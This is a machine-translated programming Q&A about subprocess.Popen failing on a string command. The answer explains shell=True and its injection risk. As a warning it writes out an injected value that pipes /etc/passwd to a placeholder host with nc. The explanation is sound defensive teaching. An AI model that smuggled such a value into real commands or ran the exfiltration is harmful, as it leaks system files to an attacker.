通过 python 子进程启动 linux 命令未按预期工作

Launch linux command via python subprocess doesn't work as expected

我正在尝试终止之前启动的特定 python 进程,我们将其命名为 test.py
linux 中终止它的命令是:sudo pkill -f test.py-> 很有魅力。

然而,当尝试通过 python 代码启动时:
subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
我得到了 OSError: [Errno 2] No such file or directory

的堆栈跟踪

知道我做错了什么吗?

默认情况下,subprocess.Popen 会将字符串参数解释为确切的命令名称。因此,您传递一个字符串 foo bar,它将尝试找到一个名为 foo bar 的可执行文件并在不带参数的情况下调用它。与交互式 shell 不同,它 不会 使用单个参数 bar.

执行命令 foo

当您在 shell 中键入 foo "bar baz"foo | bar 时,是 shell 将参数行拆分为单词并将这些单词解释为命令名称,参数、管道定界符、重定向运算符等。subprocess.Popen 执行此类输入解释的最简单方法是使用 shell=True 请求通过 shell 传递参数:

subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)

不幸的是,与 noted in the documentation 一样,这种方便的快捷方式具有安全隐患。只要 运行 的命令是固定的,使用 shell=True 是安全的(并且忽略明显的安全隐患,允许明显的无密码 sudo。)当参数从来自其他来源的作品。例如:

# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
                 stdout=subprocess.PIPE)

这里我们从网络连接中读取参数,并将其拼接成传递给 shell 的字符串。除了恶意制作的对等点能够杀死系统上的任意进程这一明显问题(以 root 身份,不少于此),实际上比这更糟。由于 shell 是一个通用工具,攻击者可以使用 command substitution 和类似的功能让系统为所欲为。比如socket发送字符串$(cat /etc/passwd | nc SOMEHOST; echo process-name),上面的Popen就会使用shell执行:

sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)

这就是为什么通常建议不要在不受信任的输入 上使用shell=True 。一个更安全的选择是避免 运行ning shell:

# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)

在这种情况下,即使恶意对等点将一些奇怪的东西塞进字符串中,也不会成为问题,因为它会按字面意思发送到命令执行。在上面的例子中,pkill 命令会得到一个请求来杀死一个名为 $(cat ...) 的进程,但是不会有 shell 来解释这个请求来执行括号内的命令。

即使没有 shell,使用不受信任的输入调用外部命令仍然是不安全的,因为执行的命令(在本例中为 sudopkill)本身容易受到攻击注入攻击。